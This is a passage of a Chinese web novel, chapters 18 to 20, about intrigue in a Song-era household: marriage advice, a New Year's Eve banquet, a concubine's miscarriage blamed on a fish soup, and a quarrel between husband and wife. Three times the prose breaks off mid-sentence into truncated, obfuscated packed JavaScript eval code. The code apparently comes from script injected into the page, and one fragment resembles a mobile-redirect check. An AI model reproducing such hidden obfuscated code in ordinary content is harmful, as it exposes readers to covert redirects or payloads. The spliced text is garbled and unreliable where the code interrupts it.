宋意欢撇撇嘴,有些不服气。李婷摇了摇头,语重心长地说道:“意儿,许多事你还未看透,我千挑万选,才给你找了伯爵府这样的人家。顾伯爷夫妇伉俪情深,不曾有妾室。顾家公子从不流连花街柳巷,虽无心科举,但早晚承袭家业。况且又是家中独子,你便省去了妯娌间的算计。人心都是自私的,你表姐是苏家长媳,你若嫁去,那你们就是妯娌,苏家无主母也未分家,才叫长房掌事。忽的一个妾有了孩子,若是男儿,必不能养在妾室之下,自来都是主母养育家中子女,你表姐多年无所出,到那时候这孩子是何去处?苏二公子自然是不愿意的,你从中如何平衡?不是一母所生,还谈什么姊妹,这情分在家中利益之下早晚会消磨殆尽。” 宋意欢一时语塞,李婷继续说道:“试想你那时的处境:丈夫心系他人,又无掌家之权,哪里还有你的容身之地呢?” 宋意欢顿时如梦初醒,恍然后觉,方知母亲的良苦用心。 “母亲,我怕……”宋意欢听了这些,有些胆怯,“怕人家的规矩我记不住,怕公婆的脸色太难看,怕夫君的爱意不长存,怕……”她顿住了,咬着唇,后面的话像是卡在喉咙里的一根刺,说不出来。 你填的锐利顿时烟消云散。她笑了,笑容里有一种过来人的了然,还有一点酸涩,都藏在眼角深深的纹路里。 “傻孩子,都是怕的。”她忽然想起自己出嫁前一晚,也是这样坐在母亲面前,“我的外祖母说过,女人这一辈子,就是从一个廊子走到另一个廊子。这边有这边的风雨,那边有那边的艳阳。可你记住,廊子再深,天总是亮的。再冷的冬天,石榴树到了五月,照样开花!” 宋意欢没有说话,只是将自己的脸颊紧紧地贴在了母亲的手掌心。那手是冰凉的,带着淡淡的皂角香气,深深地印在了她的脑海里。 “你到了那边,婆家的规矩要敬着,可自己的身子更要紧。天冷了记得加衣裳,手脚凉了就用热水烫一烫,别像我似的,冻疮一烂就是半年。初一十五要是能回来,就托人捎个信,我去大门口亲自等着你。” 女儿点头,眼圈发红,泪水几乎要夺眶而出。可宋意欢容不得自己期期艾艾,她擦了一把眼睛,定定地说道:“哎呀,我是谁?我是宋意欢!我是您和父亲的掌上明珠,从小宠着长大的!还能有什么能难倒我呢?放心吧母亲,女儿会处理好一切,让自己活得像您一样光彩耀眼。而且,女儿会常回来的。” 母亲没有回答,只是微微地点了点头。她温柔地抚摸着女儿的头发,望着天井里那棵石榴树。心里从未如此强烈地期盼它来年的绽放,就像是期盼女儿璀璨的未来。 腊月的风还在吹,呜呜地绕着屋檐转。廊子里什么也没有了,只有风,只有暮色,只有母亲搁在膝头那双手的温度,温热的、很久很久都没有散去。 回廊悠长,日影垂垂,几株老梅疏疏的、栗褐色的蓓蕾尽情吮吸着阳光。冬日里最难得的莫过响晴的午后。光影将母女二人的身影拉得很长,斑驳而温馨。像这样温暖悠闲的时光,以后,怕是不会再多了。 18. 十八、除夕夜 一大早,整个苏府一片忙碌,除夕夜不用接待外客,可自家的团圆饭还是要重视起来的。宋清欢原本想将这管家之权交还给李婉柔,可这几天,见她总是懒懒的,无精打采、多番推脱。苏瑷就先让宋清欢先操持着新年的家事,等过了正月,再由李婉柔掌家。 腊月的天,每到酉时初便迫不及待地暗了下来。好在这一天家家户户都是张灯结彩,整个汴京城都沉浸在辞旧迎新的喜庆氛围之中。京中各个府邸内早已灯火通明,朱漆大门上换了崭新的桃符,两侧悬着茜纱宫灯,在凛冽的夜风里轻轻摇曳,晕开一团团温暖却又略带苍凉的微光。苏府的家宴设在了“远人堂”,院中的青石小径扫得不见一尘,廊檐下的八角玲珑灯,将白日看起来简约无华的廊柱映照得溢彩流光。平日安静的院子此刻人声鼎沸,家中的婢女们也正井然的向正厅传菜。虽是天寒地冻,院子却透出一股子蒸腾的暖和劲儿来。 正厅,紫檀木圆桌上,一道道美味佳肴铺陈开来,一碗热气腾腾的青鱼红枣南瓜汤,汤色金黄,香气诱人;一碟色泽清爽的虾仁冬笋,滑嫩清脆;一条蒸的恰到火候的葱丝鲈鱼,色泽清亮;另有烧鹿肉等几样时兴野味、几盘像香菇炒熏干、酱爆圆白菜,宫爆杏鲍菇等爽口的素菜,配着八宝栗子饭,简直是人间美味。 苏瑷身着绛色万寿纹短袄,端坐主位,面露喜色。苏明轩、苏明锦夫妇见长辈坐毕,这才分坐于苏瑷的两边。而李意如则是尴尬地站在苏明锦和宋清欢的后面,按礼法来讲,妾室需要站在正妻和家主身后,负责为他们布菜、斟酒,她们要时刻关注家主和正妻的需求,自己并不能安然入座,更何况李意如只是口头上被提为妾室。苏明锦自是百般不忍,明明是父亲同意将她带过来参加家宴的,难不成真的要她一直站着伺候?思来想去却不好在父亲面前失了分寸。 小舟抱着一坛子酒进来了,这是宋清欢用旧时的胭脂梅泡成的梅花酿。小舟将梅花酿盛在温酒的银壶里,正准备为众人一一斟满。只见李意如突然拦住小舟,接过她手中的银壶说道:“主君,就让意如来为大家斟酒侍宴吧。” 苏瑷这才注意到站在侍婢中的李意如,缓缓说道:“今天让你来,是想趁着这佳时良节,让明锦将你正式纳为妾室。”说完,转头看向苏明锦,“过了正月,就把文书办好吧。”苏明锦和李意如都喜出望外,连连向苏瑷鞠躬感谢。苏瑷让人搬了把椅子,李意如坐在了宋清欢的边上。 李婉柔早已料到父亲在除夕家宴上叫来李意如的用意,她气定神闲,笑着说声恭喜,只是眼神最后似落在了宋清欢那,她吩咐旁边伺候的婢女道:“李娘子真是我苏家祥瑞,比我们有福气多啦,去多盛些青鱼红枣南瓜汤,那可是二夫人特意为你准备的,好好滋补身体,静待麟儿降生!”李意如点头谢过,众人面上都难掩喜色,一派祥和。 苏明轩作为家中长子,率先说了几句吉祥话,领着众人敬了苏瑷一杯。梅花酿入口微辛,继而回甘,一股暖意自喉间直落入小腹,驱散了深夜的最后一丝寒气。苏瑷命丫鬟给宋清欢多夹些鹿肉,“二夫人,这阵子家里多亏了你里外照应,以后就算不管家里,也得帮衬着你大嫂啊。” 宋清欢连忙点头,“父亲放心,只要大嫂不嫌弃我笨手笨脚的,乐意效劳!” 李婉柔听了,笑着应和道:“还得感谢父亲培养了一员得力助手,以后啊,我也得清闲清闲了。” 一时间笑语盈盈,杯箸交错,屋角四个大铜火盆烧得正旺,炭火噼啪作响,逸出淡淡的松柏香气,暖得人筋骨酥软。 “咳咳……”李意如用帕子捂着嘴,皱着眉头。 “这是怎么了?莫不是受了寒?”苏瑷没等苏明锦开口,先一步问道。看来,这苏家的一点血脉,他是极为重视。庶出就庶出吧,总也比没有强。 李意如受宠若惊,她何时受到过如此的优待啊,连忙说道:“啊,回主君的话,身子突然有些不适,想先回去歇息了。”李意如其实也无大碍,只是多喝了几碗青鱼红枣南瓜汤,胃里有些撑胀,再加上炭火的燥气、隐隐的幽香,这些她都闻不得了。 苏瑷让小蛮等人将李意如搀扶回了杏雨斋,其余人用罢晚膳,桌上另换了香茗果品,围坐着说笑守岁。外头响起了爆竹声,初时疏落,接近子时便紧密起来,噼噼啪啪,好不热闹!九宝早就招呼着家中的男丁到院子里放爆竹了,苏家兄弟也出去凑着热闹。李婉柔带着女眷们坐在厅内,看那窗外一明一暗的火树银花,笑意盈盈。 夜渐深,爆竹声歇,直到远处隐约传来寺庙的守岁钟声,这才宣告了守岁的结束。悠远绵长,苏瑷脸上已有了倦意,和小辈们寒暄几句后就起身回了内堂。剩下的几人也不好继续在父亲这里叨扰,只好准备回自己院子。这时,苏明轩提议道:“咱们一家子好不容易一起过个团圆年,就这样回去睡觉多没意思,不如去我那里,咱们玩‘打马’!” “好啊!”众人异口同声。 “打马”是当时极为流行的一种棋类博戏,因其规则简单明了,广受男女老少的喜爱。 苏明轩、苏明锦夫妇带着众人,欢声笑语地走向了清晖轩,吉祥带着院中的婢女将瓜果糕点摆在桌边,又摆好了棋盘、骰子。 李婉柔看着坐下的苏明锦、苏明轩、宋清欢,摇了摇头,“就咱们四个?人少怎么好玩,快,吉祥、绿竹你们也来!” 苏明锦拍手赞同,又大声喊来了九宝、绿珠、小舟等人。 “哎呀呀,二公子,这不合规矩吧,我们可不敢坐。”小舟虽这样说,可双眼放光,早已跃跃欲试、迫不及待了。 “你这半拉屁股都快坐到桌子边了,还‘不合规矩’,我看你急得不行了!”九宝一边说一边模仿小舟的样子,惹得大家哈哈大笑。 绿珠捏捏小舟的脸蛋,说笑道:“你不玩还不行呢,来!咱们一起把她一个月的私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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众人跟着苏明锦一路小跑。到了杏雨斋,小蛮正焦急地为李意如擦着额间的汗,见苏明锦到了,像看到了大救星一般,跪了下来,哭啼啼地说道:“李娘子用了饭回来,就躺下歇息,到了三更天,隐隐觉得肚子不舒服,却以为是自己受了凉,躺一躺便好。这才没有惊动主君和二公子,谁知道不见好,反倒是严重了!” 宋清欢上前一瞧,在烛火的映照下,李意如的脸愈发显得惨白。豆大的汗珠顺着眼睑滴落在枕头上,被子的一角被紧紧地攥在手心。看着缩成一团的她,宋清欢心里有种说不出的滋味。 “青竹,快去迎一迎郎中!”李婉柔在众人都焦急无比的情况下,却能镇定自若。急,没有用,还不如快点接了郎中来。 李意如在床上痛苦地捂着肚子,一听到李婉柔要青竹去请郎中,硬是强撑着抬起了身,“一定、一定要请‘民生堂’的张郎中!” 小蛮会意,拦下了已到门口的青竹,“青竹姐姐,还是我去吧,我知道平时照顾李娘子胎儿的是哪位郎中。” 青竹撇开她的手,笑道:“你可不能离开半步,你是李娘子贴身的丫头,这个时候,你不在,她心不安。” 李婉柔看着二人还在那里纠缠,不耐烦地说道:“青竹,你利索,赶紧去,磨蹭什么!小蛮,你赶紧拿了热水来,用温帕子擦擦你家娘子的汗!” 不等小蛮反应,青竹一溜烟似的,早不见了人影。 19. 十九、一箭双雕 才一会的工夫,青竹就带着郎中匆匆跑进了杏雨斋,青竹对着大家说:“已经向郎中说明了李娘子的情况,快让郎中瞧一瞧吧!” 众人退后回避,郎中诊着脉,并细观其神色、唇色与眼睑,回头问道:“敢问娘子的贴身婢女,你家娘子最近身子可有不适?是否吃过药?饮食安寝如何?” 小蛮立马走上前来,细细说与郎中,“李娘子近来并无大碍,只是月份大了,精神容易倦怠,每每深夜忧思难解,睡眠一直不太好,但也从未有过腹痛的症状,每日按时服用安胎养神的汤药。” 郎中目光沉静,温言询问躺在床上、满脸苍白、蜷曲难耐的李意如,“娘子何时开始剧痛?是吃了什么不该吃的东西吗?” 李意如有气无力,话还没说出口,只见被褥之上有殷殷血迹,小蛮“啊”的一声,不由哭出声来,苏明锦也顾不得回避,跪在床前,手足无措。慌乱之下,他接过宋清欢递过的绢帕,擦拭李意如额间的汗珠。 郎中惊恐,再次为李意如诊了脉,此刻脉象已变:先前虽细滑,尚算流利;此刻却觉沉涩无力,重按则更显空虚,那象征着胎元的滑利之感,已微弱至几不可察。 李意如闭着眼,泪珠从眼角滑落,浸入鬓发。 “孩子…孩子可还能保住?”李意如忽然睁开眼,目光涣散而带着最后一丝希冀,望向他。 郎中沉默、低头,将手从对方的腕上抬开。胎元已难以再固,滑胎之象已成。他叹了口气,算是对所有人的一个回应。 宋清欢呆若木鸡,她不知道为什么一夜之间竟会如此。苏明锦更是悲恸,他瘫坐在床边,口中念叨,“都怪我昨夜没有好好陪着你,这到底是怎么回事……” 苏瑷这时也赶到了清风阁,李婉柔走出来,搀扶着苏瑷到了清风阁的正厅。苏瑷早已心神不安,忙问李婉柔里面的情况,李婉柔看着一直盼望苏家有子嗣的父亲,不忍说出口,只是为难地摇了摇头。 苏瑷的眼神瞬间黯淡下去,瞳孔睁大、转为一片死寂的灰,喉咙里似发出一声极轻的、如同什么东西碎裂般的呜咽,随即紧紧咬住了下唇。 “让他们都过来。”苏瑷紧握扶手,无力地坐在那里。 除了苏明锦,其他人都到了正厅。郎中向苏瑷行了礼,将刚刚的情形大致说了下,又推测了滑胎的原因,“近来身体一直安好,只昨晚开始隐隐腹痛,至今早卯初加剧,必是昨晚吃了不该吃的东西,或是行动有失,动了胎气。” 小蛮听罢,立刻站了出来,在苏瑷面前扑通一跪,抹着眼泪,哭道:“娘子昨日一直很好,只是晚上临睡前有些不适,娘子以为是晚上喝多了青鱼红枣南瓜汤,撑了肚子。” 苏瑷瞪了一眼小蛮,怒其不争,恨恨说道:“让你们打起十二分精神、留心照顾,却粗心大意,如今倒好,失了本分!” 小蛮吓得不轻,只能一边磕头一边求主君宽恕。苏瑷摆摆手,宋清欢识趣地让小蛮停下来,叹了口气,低声道,“事已至此,原因不明,责罚你又有何用?” “那汤可是你们二夫人专门为李娘子准备的,最补气血。” 李婉柔突然说出一句话,又刻意强调了“二夫人”,众人的目光一下子都集中到了宋清欢的身上。 东方的鱼肚白,划破长空久久不去的灰朦,可依旧是雾气蒙蒙,深沉而低暗。清风阁的腊梅花,在霜雪中摇曳生姿,幽幽冷韵转入窗棂,暗香袭人却撩不动屋内人的寻梅雅趣。 宋清欢顿时有些惊慌失措,她极力控制着自己,尽量不让声音颤抖。 “父亲,鱼是昨儿早上厨房那边新买来的。李娘子不喜油腻,我就让厨房做了一道汤,里面放了红枣、黄芪、党参,都是补气血的,而且我第一次操办家里的除夕宴,也怕出纰漏,家宴的菜单,都是明锦过目后,才敢吩咐厨房照做的。” 宋清欢的回答很是谨慎,可以说是滴水不漏了。 “昨晚的汤底可还有剩余?”郎中随口一问,却是把最大的嫌疑集中到了宋清欢那里。 苏瑷听罢,依旧正襟危坐,不赞许也不反对。李婉柔会意,立马吩咐青竹前往厨房,叮嘱她要亲自将汤底端来。 片刻工夫,青竹就带着厨房剩下的汤底回来了,“主君,这是昨晚家宴中的汤,厨房的人我也问过了,二夫人吩咐他们仔细着火候,并无其他可疑之处。” 青竹说完,就把汤底端给了旁边的郎中。郎中用筷子夹出了里面的药材,一一闻了闻,向苏瑷回话,“苏大人,这些药材都是最平常的、补气血极好的药材,可做药膳。” 宋清欢在旁边一声不敢吭,生怕说错了什么,又惹上别的嫌疑,听郎中如此说,悬着的心可以稍稍放一放。 李婉柔百思不得其解,“既然对孕妇好处颇多,怎么就……呃,是不是李娘子吃多了,反而不好?又或者鱼不新鲜?” 郎中沉思片刻,放下那几味药材,又夹起了一块鱼肉,仔细地又看又闻。忽地眼睛一亮,似是找到了症结所在。为了验证自己的猜想,他尝了一小口,细细咀嚼。 “苏大人,这、这不是青鱼,是黑鱼啊。青鱼肉质丰厚紧实、有嚼劲,风味醇厚;而黑鱼肉质细嫩爽滑、有弹性、刺少,风味清鲜,土腥味轻。” 众人不解,李婉柔疑惑地问道:“这青鱼黑鱼,做了汤进补,不都是一样的吗?” 郎中摇了摇头,缓缓解释道:“黑鱼,性寒滑利,孕妇慎之。也并不是一点不能吃,但绝非是“多多益善”的安胎补品,不适合脾肾偏虚的身子。南瓜,甘温,多食壅气。红枣、黄芪、党参,甘温补血,然中满者忌。这些看似都是平常之物,可配伍失宜,则补益之品,顷刻可成伐性之斧。” 宋清欢脚下一抖,心说不妙。她强忍着委屈恳求道:“父亲,我确实不知道厨房的鱼是黑鱼不是青鱼,是儿媳疏忽,酿成大祸。” 郎中见苏瑷面带怒色,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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李婉柔尴尬地一笑,“都是些胡言乱语,不必让父亲劳心。” 苏瑷凌厉的眼神直接扫到青竹处停下,青竹也是知趣,她从容地说道:“二公子回府后的那个晚上,并未留宿清风阁,而是去了杏雨斋,走之前二夫人和二公子吵得很凶,说她宠妾灭妻,为此和二公子心生嫌隙。” 李婉柔忙解释道:“之前的事我不知道,但自我和明轩回到家,弟妹就一直悉心照料着李娘子的胎。我看啊,这无非是夫妻的小打小闹,算不上心生嫌隙,怪就怪明锦冷落了弟妹,这才让弟妹心有不甘。” 宋清欢刚想为自己辩解,话还没说出口,苏瑷就一声怒斥,“长房以后就打算如此掌家吗?!小打小闹就闹没了苏家的血脉?夫妻不睦,却生出了宠妾灭妻、有辱门风的荒唐话!” 宋清欢听苏瑷如此讲,心知他动了怒,急忙跪下,却百口莫辩。 “你去,把明锦叫过来!”苏瑷对着小蛮命令道。 20. 二十、决裂 宋清欢惴惴不安,苏瑷看中苏家血脉,她在苏瑷面前是辩驳不出什么了。可苏明锦不仅看中血脉,更看中他的心上人啊,她现在只求苏明锦心中还能留有一丁点的理智。 门口,沉闷的脚步缓缓而来,苏明锦的心思全然不在前堂,可一见跪在堂前、回过头看他的宋清欢,那一脸的楚楚可怜,顿时,一股子无名火从他心底冒了出来。 宋清欢心里绝望,看苏明锦的表情,一定是小蛮添油加醋地把事情告诉了他。宋清欢心知不能再任由事态发展下去,不能让苏明锦先发制人。她看着拉着脸的父亲,委屈地哭诉:“父亲,自李娘子没名没分地进了苏家府门那日起,我便将她视作是明锦的妾室,和睦相处,从未给明锦找过任何麻烦。李娘子意欲独占夫宠,几次趁明锦在我房中时借口把人哄走,我也只是睁一只眼闭一只眼,专心向徐伯学习治家之法,不与她计较。有孕之后,我更是小心翼翼照顾起居,知她心有戒备,一切吃食都是经了郎中之手才敢送去杏雨斋。若有心害她腹中孩儿,怎么会等到明锦回京,落众人口舌?至于除夕家宴的鱼汤,错在我轻信了他人,自己不去细细分辨黑鱼青鱼。请父亲念在我精心照顾李娘子月余,原谅儿媳这次。” “就是怨我回来当晚,执意要去意如那里,你满心的不悦,我说了,意如有孕辛苦,又碍于身份,不能和大家一起为我接风洗尘,她心里憋屈啊。我都答应了你,除夕夜会补偿你、陪着你,怎么就还不满意呢?”苏明锦痛失孩儿,显得语无伦次。 宋清欢的心凉凉的,“苏明锦,我宋清欢并不是耽于情爱的小女子,与君为妇,自然要持家理事、经营日常,你与李意如的种种,李意如对我的敌意,我压根没放在心上,左不过是些争风吃醋的小把戏。连她我都不屑,更何况是尚未出世的孩子!我那日气的,并不是你扔下我去陪她,而是你次次让我在家里颜面尽失!” 宋清欢越说越激动,小舟刚想跪下为宋清欢辩解几句,这个举动可吓坏了一旁的绿珠。绿珠拽着小舟,小声劝道:“这个时候哪有你说话的份?还敢在主君面前乱来,会害了二夫人!”小舟作罢,只能眼睁睁看着,一同流着泪。 “主君、二公子,你们不在的一个月,虽是大夫人和二夫人照看着李娘子的胎,但最熟知李娘子身体情况的,莫过于平日里给李娘子请脉的郎中,主君可以把人请来问话,看看是不是因为近来李娘子本身虚弱,禁不住大补。” 绿珠一向是个理智稳重的人,她抛开苏明锦三人的情感恩怨,只剖析问题本身。 李婉柔回道:“父亲,一直照料李娘子的那个郎中这阵子不在京中,故而今天请了医馆的这位李郎中来。” 小蛮怕苏瑷继续追问,就顺着李婉柔的话继续说道:“主君,郎中一直说李娘子的胎没大问题,就是嘱咐着忌生冷、心气平……” “别说了!”苏明锦怒吼一声,此刻的他什么也不想听了,他对着宋清欢一顿数落,“我原以为你知书达理、光风霁月,没想到你却步步为营,真是好算计啊。” 李婉柔见气氛紧张,忙劝解道:“一念之差而已,弟妹平日里也算尽心尽力,小惩大诫,毕竟是明锦明媒正娶过来的夫人,以后内宅的事少不得要弟妹费心。” “不正之风,小惩即可?我苏家的血脉就只是个小惩?内宅不安、何以安天下?你自己院子的事,自己忖量!”苏瑷给苏明锦扔下这句话,就愤然离开。 小舟见苏瑷离场,而苏明锦又正在气头上,怕这位“痴情”的二公子一时脑袋热,做出什么伤害宋清欢的事。于是“扑通”一声,在苏明锦面前跪下,拽着苏明锦的衣角,声泪俱下,“二公子,自您走后,家中大大小小的事姑娘都尽心,夜夜为您祷告上苍,盼着主君和您平安回家。二夫人知道李娘子也挂念着您,您归家的书信一到,二夫人就迫不及待地把这个好消息告诉了李娘子。一边照料着,一边又怕李娘子的猜忌而小心翼翼,二公子,姑娘对您、对李娘子、对整个府,问心无愧啊!” 苏明锦一听,“猜忌?可见她过的是多么提心吊胆!我就不该答应这门婚事,让意如受尽委屈!我就不该让意如夹在我们两个人中间为难!我就不该……” “你住嘴!”宋清欢的心彻底凉了,“是我不该不明真相、被骗入府;是我不该夹在你二人中间,受尽白眼;是我不该问心无愧,期望你的信任,做着受累不讨好的事,让小人此刻得意……” “二夫人!”绿珠拉着宋清欢的袖子,不让她再说下去。宋清欢已然失去了理智。绿珠心里清楚,都火烧眉毛了,和苏明锦斗气是没有用的,苏瑷显然是甩手不管了,但揣摩他的意思,是不允许苏明锦包庇宋清欢的。唯一的办法,就是服软,祈求苏明锦能顾念旧情,别把事情弄得太难看。 “二公子,二夫人不是有意要顶撞您的,她只是心里苦。这么长时间的相处,二夫人是什么样的人,您心中明镜似的。绿珠本不是二夫人带来的人,自二夫人嫁过来才在跟前服侍。是谁日日夜夜操持一大家子里里外外的事儿;是谁爱屋及乌,将对您的情义转化成对旁人的悉心照料。二公子,千万不要因为一时在气头上,说违心的话,伤了彼此的夫妻情分啊!” 苏明锦默然,他一下子栽倒在旁边的椅子上,痛苦地捶着自己的双膝。 “只能怪李娘子喽,门户不当非入了府,好不容易母凭子贵,却——都说滑胎对妇人以后的生养不利,这要是生不出——呃,我是说万一,那就太可悲了。”李婉柔还没走,悠悠地说了一句。 苏明锦暗淡的眼神忽地又如剑锋般凌厉起来,那道光,刺得宋清欢的脸火辣辣的。 李婉柔边走边说:“我去佛堂拜一拜,送送那可怜的孩儿吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李郎中独自一人,大步流星,向着府门疾行,是非之地他不想多留片刻。他边走边回想:“今日我只是照实诊治,并未虚言。只是那二房夫人不像蓄意伤人,而那位娘子的胎,似早有虚弱之感。不过人家说没问题,自己也不好再说什么。知人知面不知心,宅门之内,人心之毒,有时更甚于鸩酒。之前的郎中怎么诊治的,我可不想掺和进来。” 雪片似天女散花般洋洋洒洒,后又渐渐地变得绵密,斜织成一张大网,仿佛要把整个天地都笼罩在一起。远处人家的灯火,也在这纷扬的雪里,晕成一团模糊的、有些凄冷的光。万籁俱寂,只听得见雪粒子簌簌落下的声音,还有脚踩在雪上闷闷的“咯吱咯吱”的声音。 雪下更紧了,李郎中抱紧药匣子,消失在了茫茫雪光中。